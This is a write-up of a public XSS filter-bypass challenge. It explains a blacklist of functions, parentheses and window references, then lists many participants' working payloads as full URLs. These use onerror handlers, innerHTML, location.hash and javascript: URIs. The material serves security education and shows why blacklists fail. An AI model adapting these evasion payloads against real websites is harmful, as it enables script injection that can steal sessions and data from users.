Rhainfosec XSS Challenge 2 - Writeup

Last week, we announced our second XSS challenge after the tremendous success of our first XSS challenge. The challenge was based upon a blacklist based protection and the goal was to execute javascript alert(1). We had a huge number of participants for the challenge and in total we had more than 15k attempts for breaking the XSS filter. Out of which only 15 were worthy enough to break it.

Challenge Setup


The following were some of the specifications for the challenge: 

  • We blacklisted alert, prompt, confirm, document.write functions which are most commonly used to execute javascript. 
  • We blacklisted open & closed parenthesis, which is what most of the XSS vectors require. 
  • We blacklisted source keyword to avoid an easy bypass. 
  • We also blacklisted common DOM elements to reference the window such as this, top, window, self, parent (Later whitelisted) etc. 
  • As per the rules, we specified that we would update the blacklist as soon as the challengers manage to find other ways to reference window and also for challengers to find new ways to reference window global variable. 
  • PHP htmlspecialchars() function was used, so it was impossible to escape out of attribute as double quote was encoded. 
  • The winners would be decided based upon the amount of unique vectors. 

Hints


We gave two interesting hints for the challenge: 

  • "Use your parent to get to the top". We were referring to "Parent" or "ParentNode" which could be used as an alternative for window object. 
  • "parentNode" - Upon realizing that people are still not able to solve the challenge, we released another important hint, where we actually revealed the name of the object.  

Solution

At first, We received some ridiculously long solutions, however it was matter of time, when the participants were able to shorten it up and came up with our expected solution. With that being said, Let's now take a look at our expected solution: 
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x onerror=parentNode['inne'%2B'rHTML']=URL#
The solution was pretty simple, We simply used parentNode to reference the innerHTML property, if you notice that we have used %2B which is equivalent to + sign, we had to use it's encoded version since '+' sign was encoded, since  and set it equal to the URL. Which is equivalent to document.url.

Next, all we had to do is to enter our vector after the hash sign and since, anything after the hash would not be sent to the server, we would be able to inject the vector of our choice. However, this solution would not work in firefox, since firefox encodes opening and closing brackets (<, >) passed after hash when source is set to document.url.

Winners 


Mastao kinugawa and Pepe vila came up with equal number of unique solution therefore they both are the conqueror of this challenge and are crowned as winners. Both of them kept coming with exceptional bypasses, till the point where further blacklisting was not possible without actually breaking the challenge. 

I would like to congratulate both of them and would like to thank them and all of other participants for taking out their precious time and participating in this challenge. 

Challenge Link

We have already setup the challenge on hack.me for you to be able to validate it. Special thanks to Giuseppe Trotta for hosting the challenge at hack.me.


Solutions From Community


Let's now take a look at the solutions from community, the list is in descending order with an exception to Masato and Pepe vila as they have equal number of solutions. 

1. Masato Kinugawa

Solution#1
https://challenges.prakharprasad.com/xss/2/xss.php?xss='x'onerror=head['innerHTM'%2B'L']=URL#

Solution#2
https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=all[0][%27innerH%27%2B%27TML%27]=URL#

Solution#3
https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=parentNode[%27innerH%27%2B%27TML%27]=URL#

Solution#4
https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=activeElement[%27innerH%27%2B%27TML%27]=URL#

Solution#5
https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=defaultView['documen'%2B't']['bod'%2B'y']['innerHTM'%2B'L']=URL#

Solution#6
(IE only):

https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=Script['documen'%2B't']['bod'%2B'y']['innerHTM'%2B'L']=URL#

Solution#7
Safari only:
( Please click the go button. FYI, document.domain='com' vector no longer works on Chrome.)
https://googledrive.com/host/0B9oV5VZLcjwOUl9LVm5Ydm84LWs/poc.html

Solution#8
Firefox only:

https://challenges.prakharprasad.com/xss/2/xss.php?xss='x'onerror=content['documen'%2B't']['bod'%2B'y']['innerHTM'%2B'L']=content['documen'%2B't']['locatio'%2B'n']['has'%2B'h']#

Solution#9


Solution#10
It works on both Firefox and IE:

https://challenges.prakharprasad.com/xss/2/xss.php?xss='x'id='a'onerror=a['ownerD'%2B'ocument']['bod'%2B'y']['innerHTM'%2B'L']=a['ownerD'%2B'ocument']['locatio'%2B'n']['has'%2B'h']#

2. PEPE VILA

Solution#1
 https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%0aonerror=d=attributes.src;d.ownerElement['innerHTM'%2b'L']=d['ownerDocumen'%2b't']['defaultVie'%2b'w']['locatio'%2b'n']['has'%2b'h']#

Solution#2
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=previousSibling['ownerDocumen'%2b't']['bod'%2b'y'][%27innerHTM%27%2b%27L%27]=URL#

Solution#3
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=event.target[%27innerHTM%27%2b%27L%27]=URL#

Solution#4
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=arguments[0].target[%27innerHTM%27%2b%27L%27]=URL#
or if you blacklist "target" it's stil possible to use "srcElement" or
"path[0]".

Solution#5
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=event.srcElement[%27innerHTM%27%2b%27L%27]=URL#

Solution#6
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=event.path[0][%27innerHTM%27%2b%27L%27]=URL#

Solution#7
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=onerror[%27argumen%27%2b%27ts%27][0].target[%27innerHTM%27%2b%27L%27]=URL#

Solution#8
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=%27_=new+Option;_[%22innerHTM%22%2b%22L%22]=URL%27#onerror=alert(1)>

Solution#9
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onload=%27a["innerHTM"%2b"L"]=URL%27onerror=a={};a[src="logo.png"]=a=activeElement#

Solution#10
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=%27_=new+Text;_[%22ownerDocumen%22%2b%22t%22][%22bod%22%2b%22y%22][%22innerHTM%22%2b%22L%22]=URL%27#onerror=alert(1)>

3. Mathias

Solution#1
https://challenges.prakharprasad.com/xss/2/xss.php?xss=a+onerror=%27parentNode.parentNode.parentNode.parentNode[%22
locatio%22%2b%22n%22]=%22javascrip%22%2b%22t:/*%22%2b
parentNode.parentNode.parentNode.parentNode[%22locatio%22%2b%22n%22][%22has%22%2b%22h%22]%27#*/alert(1)

Solution#2
Click me

Solution#3
var x = window.open('https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=%27opener["loc"%2b"ation"]="javascri"%2b"pt:/*"%2
bopener["loc"%2b"ation"]%27%20"');

Solution#4
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20height=20000%20width=200000%20onmouseover=%27event.fromElement
["innerHTM"%2b"L"]=event.view["locatio"%2b"n"]["has"%2b"h"]'#

Solution#5
window.name="location='javascript:alert(1)'"
location="https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror='vbs:setTimeout %22setTimeout windo%22%26%22w.nam%22%26%22e%22'"

Solution#6
window.open("https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27123%27%20onerror=l=%27locatin%27;l=l[0]%2Bl[1]%2Bl[2]%2Bl
[3]%2Bl[4]%2Bl[5]%2Bl[1]%2Bl[6];opener[l]=%27javascrip%27%2B%27t:aler%27%2B%27t%27%
2Bnavigator.userAgent[12]%2B1%2Bnavigator.userAgent[27];", "_self");

4. Masahiro YAMADA

Update: Masahiro YAMADA has done a detailed writeup of his solutions here.  

Solution#1

Solution#2
go

Solution#3

Solution#4
https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onerror='e=event.target["par"%2B"entE"%2B"lement"];o=e
["innerHTM"%2B"L"];lt=o[11];gt=o[o.length-1];e["innerHTM"%2B"L"]=lt%2B"img src=. onerror=al"%2B"ert%26%23x28;1%26%23x29;"%2Bgt'

5. Luat Nguyen

Solution #1:
https://challenges.prakharprasad.com/xss/2/xss.php
?xss='1' id=xxx onerror=parent.xxx['outerHTM'%2b'L']=parent['locatio'%2b'n']['has'%2b'h'] #

Solution #2:
https://challenges.prakharprasad.com/xss/2/xss.php
?xss='1' id=xxx abc='aler%26%23x74%26%23x28%201%26%23x29' onload=1 onerror=xxx['innerHTM'%2b'L']=xxx['attribut'%2b'es']['abc']['valu'%2b'e'];xxx['attribut'%2b'es']['onload']['valu'%2b'e']=xxx['innerHTM'%2b'L'];xxx.src='logo'
(is not using location.hash)

6. file descriptor

Solution#1
https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=body[%27innerHTM%27%2b%27L%27]=URL#

Solution#2
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=images[0][%27innerHTM%27%2b%27L%27]=URL#

7. Roman Shafigullin

Solution#1
for Chrome

https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27x%27%20onerror=v=[onerror%2B%27%27][0];attributes[1].value=%27aler%27%2B%27t%27%2Bv[16]%2B1%2Bv[22];src=2

Solution#2
for firefox

https://challenges.prakharprasad.com/xss/2/xss.php?xss='x' onerror=v=[onerror%2B''][0];attributes[0].value='aler'%2B't'%2Bv[16]%2B1%2Bv[38];src=2

8. Ahmed Nafeez

Solution#1
window.open("https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27123%27%20onerror=l=%27locatin%27;l=
l[0]%2Bl[1]%2Bl[2]%2Bl[3]%2Bl[4]%2Bl[5]%2Bl[1]%2Bl[6];
opener[l]=%27javascrip%27%2B%27t:aler%27%2B%27t%27%2
Bnavigator.userAgent[12]%2B1%2Bnavigator.userAgent[36];", "_self");

Solution#2
window.open("https://challenges.prakharprasad.com/xss/2/xss.php?lol=()&xss=%27123%27%20onerror=l
=%27locatin%27;l=l[0]%2Bl[1]%2Bl[2]%2Bl[3]%2Bl[4]%2Bl[5]%2Bl[1]%2Bl[6];opener[l]=%27javascri
p%27%2B%27t:aler%27%2B%27t%27%2Bopener[l].search[6]%2B1%2Bopener[l].search[6]", "_self");

9. Frans Rosen

Solution#1
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=parentNode[%27innerHT%27%2b%27ML%27]=URL#

10. Denis Kolegov

Solution#1

11. topol

Solution#1
https://challenges.prakharprasad.com/xss/2/xss.php?xss=a onerror=parentNode['innerH'%2b'TML']=parent['loca'%2b'tion']['ha'%2b'sh']#

12. romain

Solution#1
https://challenges.prakharprasad.com/xss/2/xss.php?xss=XsX%20onerror=parent[%27documen%27%2b%27t%27][%27bod%27%2b%27y%27][%27innerHTM%27%2b%27L%27]=%27%27%2bparent[%27locatio%27%2b%27n%27][%27has%27%2b%27h%27]#

13. Giuseppe Trotta

Solution#1
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=_=parentNode.parentNode.parentNode.
parentNode;__=_[%27loca%27%2b%27tion%27];p=__[%27ha%27%2b%27sh%27][2];pp=__[%27ha%27%2b%27sh%27][3];__[%27href%27]=%22javas%22%2b%22cript:a%22%2b%
22lert%22%2bp%2b%221%22%2bpp#:()

14. Alan Bishop


Solution#1
click me
POC link - http://www.graybishop.com/xsschallenge.html

15. Mramydnei" mramydnei"

Solution#1
Vector: http://133.52.240.75/test.htm?
a onerror=parentNode['outerH'+'TML']=referrer
challenges.prakharprasad.com

Conclusion 

The challenge was based upon a very strict blacklist rules, however the bypasses prove yet again that "Blacklists" have never been and never would be the solution for mitigating cross site scripting attacks. In case, if I have missed any of your submission, Please let me know, I would update it accordingly.

Last but not least, I would like to Sincerely thank "Prakhar Prasad" for hosting the challenge, "Alex Infuhr" with ideas to make the challenge more interesting and "Giuseppe Trotta" for hosting the challenge on hack.me.

I would love to hear your feedback! Pass your comments. Cheers.